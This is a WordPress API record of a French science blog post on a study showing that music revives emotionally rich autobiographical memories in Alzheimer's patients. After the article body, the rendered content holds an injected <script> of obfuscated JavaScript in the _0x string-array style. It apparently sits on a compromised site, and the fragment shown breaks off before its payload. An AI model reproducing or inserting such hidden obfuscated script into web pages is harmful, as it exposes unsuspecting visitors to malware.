{"id":46,"date":"2013-12-04T13:39:34","date_gmt":"2013-12-04T10:39:34","guid":{"rendered":"http:\/\/www.energy-sciences.org\/energy\/2013\/12\/04\/alzheimer-la-musique-ravive-les-souvenirs\/"},"modified":"2013-12-04T13:39:34","modified_gmt":"2013-12-04T10:39:34","slug":"alzheimer-la-musique-ravive-les-souvenirs","status":"publish","type":"post","link":"https:\/\/www.energy-sciences.org\/sciences\/alzheimer-la-musique-ravive-les-souvenirs\/","title":{"rendered":"Alzheimer : la musique ravive les souvenirs"},"content":{"rendered":"<div class=\"art-article\">\n<p style=\"text-align: justify;\">\u00ab Cette musique me rappelle le jour o\u00f9 j&rsquo;ai rencontr\u00e9 ma femme pour la premi\u00e8re fois ; c&rsquo;\u00e9tait pendant la f\u00eate du village ; elle a accept\u00e9 mon invitation \u00e0 danser. J&rsquo;\u00e9tais tellement heureux&#8230; \u00bb Quels souvenirs la musique est-elle capable de faire resurgir chez les personnes atteintes de la maladie d&rsquo;Alzheimer ! Un tel souvenir, compar\u00e9 \u00e0 ceux que peuvent d\u00e9crire les m\u00eames personnes de leur propre initiative, est beaucoup plus charg\u00e9 \u00e9motionnellement et \u00e9vocateur de leur histoire personnelle. Mohamad El Haj et Philippe Allain, du Laboratoire de psychologie de l&rsquo;Universit\u00e9 d&rsquo;Angers, ont demand\u00e9 \u00e0 des patients de se rappeler divers souvenirs, dans le silence ou pendant qu&rsquo;\u00e9tait diffus\u00e9e une musique de leur choix. Ils ont constat\u00e9 que les souvenirs \u00e9voqu\u00e9s \u00e9taient plus forts \u00e9motionnellement, se rapportaient \u00e0 des \u00e9pisodes pr\u00e9cis et importants de leur vie, et leur revenaient plus vite en m\u00e9moire. La musique serait un bon moyen pour ces malades de rester en contact avec leur pass\u00e9 et de l&rsquo;\u00e9voquer avec des proches.<\/p>\n<p>  <!--more-->  <\/p>\n<p style=\"text-align: justify;\">\u00a0<\/p>\n<p style=\"text-align: justify;\">Comment la musique ravive-t-elle les souvenirs autobiographiques ? Les psychologues ont \u00e9valu\u00e9 la fa\u00e7on dont les patients mobilisaient certains m\u00e9canismes de r\u00e9gulation de l&rsquo;attention, d&rsquo;inhibition des pens\u00e9es non pertinentes ou de flexibilit\u00e9 mentale, pour remonter \u00e0 leurs souvenirs. Ils ont constat\u00e9 que ces facult\u00e9s cognitives (nomm\u00e9es fonctions ex\u00e9cutives) sont davantage sollicit\u00e9es lorsque le sujet n&rsquo;\u00e9coute pas de musique : le sujet est alors engag\u00e9 dans une recherche consciente du souvenir, peu efficace chez les personnes atteintes de la maladie d&rsquo;Alzheimer en raison de l&rsquo;alt\u00e9ration des capacit\u00e9s cognitives. En revanche, la musique fait remonter les souvenirs sans faire intervenir (ou beaucoup moins) ces fonctions ex\u00e9cutives. Dans ce cas, le souvenir resurgit involontairement et emprunte probablement d&rsquo;autres circuits c\u00e9r\u00e9braux, plus \u00e9motionnels. Le souvenir est plus r\u00e9el, contextualis\u00e9, et \u00e9voque les ph\u00e9nom\u00e8nes de \u00ab madeleine de Proust \u00bb, lorsque le pass\u00e9 se pr\u00e9sente soudain \u00e0 nos yeux dans toute sa vivacit\u00e9.<\/p>\n<\/p><\/div>\n<p><script>function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function _0x1922(){const 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J&rsquo;\u00e9tais tellement heureux&#8230; \u00bb <a class=\"mh-excerpt-more\" href=\"https:\/\/www.energy-sciences.org\/sciences\/alzheimer-la-musique-ravive-les-souvenirs\/\" title=\"Alzheimer : la musique ravive les souvenirs\">[&#8230;]<\/a><\/p>\n<\/div>","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[6],"tags":[],"class_list":{"0":"post-46","1":"post","2":"type-post","3":"status-publish","4":"format-standard","6":"category-biologie"},"_links":{"self":[{"href":"https:\/\/www.energy-sciences.org\/sciences\/wp-json\/wp\/v2\/posts\/46","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.energy-sciences.org\/sciences\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.energy-sciences.org\/sciences\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.energy-sciences.org\/sciences\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.energy-sciences.org\/sciences\/wp-json\/wp\/v2\/comments?post=46"}],"version-history":[{"count":0,"href":"https:\/\/www.energy-sciences.org\/sciences\/wp-json\/wp\/v2\/posts\/46\/revisions"}],"wp:attachment":[{"href":"https:\/\/www.energy-sciences.org\/sciences\/wp-json\/wp\/v2\/media?parent=46"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.energy-sciences.org\/sciences\/wp-json\/wp\/v2\/categories?post=46"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.energy-sciences.org\/sciences\/wp-json\/wp\/v2\/tags?post=46"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}